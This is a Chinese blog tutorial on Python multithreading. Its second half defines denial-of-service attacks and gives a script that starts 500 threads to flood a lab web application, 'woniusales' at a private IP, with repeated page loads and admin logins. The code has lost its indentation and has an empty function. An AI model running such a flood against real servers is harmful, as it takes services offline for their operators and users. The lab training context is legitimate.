欢迎光临
我们一直在努力

19.多线程与流量泛洪

一、线程基础

# 并发操作:如果一个单核的CPU是不存在严格意义的并发,只是因为处理时间极短,所以感受上是并发操作的

# 线程和进程,每一个应用程序至少有一个进程,并且拥有PID和独立的内存空间。
# 每一个进程至少有一个线程,而线程并没有独立的内存空间。

import threading,time

'''
# 单线程情况下,下述代码或消耗5秒钟的时间
def test_01():
print(threading.current_thread().name) # 输出当前线程的名字 MainThread
for i in range(5):
print(time.strftime('%Y-%m-%d %H:%M:%S'))
time.sleep(1)
'''

def test_02():

# print(threading.current_thread().name) # 输出当前线程的名字
print(time.strftime('%Y-%m-%d %H:%M:%S'))
time.sleep(1)

if __name__ == '__main__':
# test_01() # 当python执行时,虽没有手动启动线程,但是默认python或启动一个主线程
for i in range(5):
t = threading.Thread(target=test_02) # 实例化一个线程,并指定调用test_02函数
t.start() # 启动线程

二、流量泛洪

DOS攻击的核心:利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘、宽带、连接数等),使其无法正常对外提供服务。

import threading,requests

# 使用多线程模拟流量泛洪(Flow Flood)-攻击woniusales
session = requests.session()
def home():
req = session.get('http://192.168.102.131:8080/woniusales/')
if '84247107' in req.text:
print('首页访问成功。')
else:
print('首页访问失败。')

def login():
data = {'username':'admin','password':'admin123','verifycode':'0000'}
url = 'http://192.168.102.131:8080/woniusales/user/login'
req = session.post(url=url,data=data)
if req.text == 'login-pass':
print('系统登录成功。')
else:
print('系统登录失败。')

# 基于HTTP协议,进行流量的泛洪,压力测试,性能测试
def woniusales_flood():
for i in range(100):
try:
home()
login()
except:
pass

def add():

if __name__ == '__main__':
for i in range(500):
threading.Thread(target=woniusales_flood).start()

赞(0)
未经允许不得转载:171主机测评 » 19.多线程与流量泛洪
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址